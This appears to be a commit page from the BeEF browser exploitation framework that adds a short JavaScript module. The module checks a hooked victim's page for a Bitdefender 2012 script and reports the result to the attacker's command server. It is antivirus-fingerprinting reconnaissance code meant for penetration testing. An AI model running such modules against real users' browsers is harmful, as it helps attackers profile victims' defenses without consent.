Add module to detect bitdefender 2012. Closes #902
This commit is contained in:
17
modules/host/detect_bitdefender2012/command.js
Normal file
17
modules/host/detect_bitdefender2012/command.js
Normal file
@@ -0,0 +1,17 @@
|
||||
//
|
||||
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
beef.execute(function() {
|
||||
var temp=document.body.innerHTML;
|
||||
var key="netdefender/hui/ndhui.js";
|
||||
if(temp.indexOf(key)>0) {
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>,'bitdefender=Installed');
|
||||
} else {
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>,'bitdefender=Not Installed');
|
||||
};
|
||||
|
||||
});
|
||||
|
||||
Reference in New Issue
Block a user